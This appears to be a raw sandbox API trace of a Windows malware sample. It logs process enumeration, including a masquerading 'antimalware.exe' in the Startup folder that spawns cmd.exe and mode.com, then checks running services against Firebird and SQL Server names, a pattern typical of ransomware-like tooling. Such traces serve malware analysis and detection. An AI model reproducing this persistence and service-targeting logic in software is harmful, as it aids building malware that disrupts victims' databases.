	[0144.749] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.749] lstrlenW (lpString="svchost.exe") returned 11
	[0144.749] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.750] lstrlenW (lpString="svchost.exe") returned 11
	[0144.750] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.853] lstrlenW (lpString="svchost.exe") returned 11
	[0144.892] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.893] lstrlenW (lpString="svchost.exe") returned 11
	[0144.893] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.894] lstrlenW (lpString="svchost.exe") returned 11
	[0144.894] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.895] lstrlenW (lpString="svchost.exe") returned 11
	[0144.895] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.895] lstrlenW (lpString="svchost.exe") returned 11
	[0144.896] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.899] lstrlenW (lpString="svchost.exe") returned 11
	[0144.900] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.901] lstrlenW (lpString="svchost.exe") returned 11
	[0144.901] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0144.902] lstrlenW (lpString="spoolsv.exe") returned 11
	[0144.902] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.903] lstrlenW (lpString="svchost.exe") returned 11
	[0144.903] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0144.904] lstrlenW (lpString="audiodg.exe") returned 11
	[0144.904] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0144.905] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0144.905] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0144.906] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0144.906] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0144.907] lstrlenW (lpString="sihost.exe") returned 10
	[0144.907] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0144.908] lstrlenW (lpString="Memory Compression") returned 18
	[0144.908] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.909] lstrlenW (lpString="svchost.exe") returned 11
	[0144.909] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0144.910] lstrlenW (lpString="taskhostw.exe") returned 13
	[0144.910] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0144.911] lstrlenW (lpString="msoia.exe") returned 9
	[0144.911] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0144.912] lstrlenW (lpString="taskhostw.exe") returned 13
	[0144.912] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0144.913] lstrlenW (lpString="explorer.exe") returned 12
	[0144.913] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0144.914] lstrlenW (lpString="SearchUI.exe") returned 12
	[0144.914] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0144.915] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0144.915] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0144.916] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0144.916] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0144.917] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0144.917] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0144.918] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0144.918] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0144.919] lstrlenW (lpString="cmd.exe") returned 7
	[0144.919] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0144.920] lstrlenW (lpString="conhost.exe") returned 11
	[0144.920] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0144.921] lstrlenW (lpString="mode.com") returned 8
	[0144.921] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0144.922] CloseHandle (hObject=0x534) returned 1
	[0144.922] Sleep (dwMilliseconds=0x1f4) 
	[0145.463] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff58
	[0145.468] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0145.472] GetLastError () returned 0xea
	[0145.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x459e560
	[0145.472] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x459e560, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x459e560, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0145.473] CloseServiceHandle (hSCObject=0x45aff58) returned 1
	[0145.473] lstrlenW (lpString="Appinfo") returned 7
	[0145.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0145.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0145.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0145.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0145.474] lstrlenW (lpString="AppXSvc") returned 7
	[0145.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0145.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0145.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0145.474] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0145.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0145.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0145.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0145.474] lstrlenW (lpString="Audiosrv") returned 8
	[0145.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0145.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0145.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0145.474] lstrlenW (lpString="BFE") returned 3
	[0145.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0145.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0145.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0145.474] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0145.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0145.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0145.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0145.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0145.475] lstrlenW (lpString="CDPSvc") returned 6
	[0145.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0145.475] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0145.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0145.475] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0145.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0145.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0145.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0145.475] lstrlenW (lpString="CryptSvc") returned 8
	[0145.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0145.475] lstrlenW (lpString="DcomLaunch") returned 10
	[0145.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0145.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0145.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0145.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0145.476] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0145.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0145.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0145.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0145.476] lstrlenW (lpString="Dhcp") returned 4
	[0145.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0145.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0145.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0145.476] lstrlenW (lpString="Dnscache") returned 8
	[0145.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0145.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0145.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0145.476] lstrlenW (lpString="DPS") returned 3
	[0145.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0145.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0145.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0145.476] lstrlenW (lpString="DusmSvc") returned 7
	[0145.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0145.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0145.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0145.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0145.477] lstrlenW (lpString="EventLog") returned 8
	[0145.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0145.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0145.477] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0145.477] lstrlenW (lpString="EventSystem") returned 11
	[0145.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0145.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0145.477] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0145.477] lstrlenW (lpString="FontCache") returned 9
	[0145.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0145.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0145.477] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0145.477] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0145.477] lstrlenW (lpString="gpsvc") returned 5
	[0145.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0145.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0145.477] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0145.477] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0145.477] lstrlenW (lpString="iphlpsvc") returned 8
	[0145.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0145.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0145.477] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0145.477] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0145.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0145.478] lstrlenW (lpString="KeyIso") returned 6
	[0145.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0145.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0145.478] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0145.478] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0145.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0145.478] lstrlenW (lpString="LanmanServer") returned 12
	[0145.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0145.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0145.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0145.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0145.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0145.478] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0145.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0145.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0145.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0145.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0145.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0145.478] lstrlenW (lpString="lfsvc") returned 5
	[0145.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0145.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0145.478] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0145.478] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0145.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0145.478] lstrlenW (lpString="lmhosts") returned 7
	[0145.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0145.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0145.478] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0145.478] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0145.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0145.478] lstrlenW (lpString="LSM") returned 3
	[0145.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0145.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0145.479] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0145.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0145.479] lstrlenW (lpString="MpsSvc") returned 6
	[0145.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0145.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0145.479] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0145.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0145.479] lstrlenW (lpString="NcbService") returned 10
	[0145.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0145.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0145.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
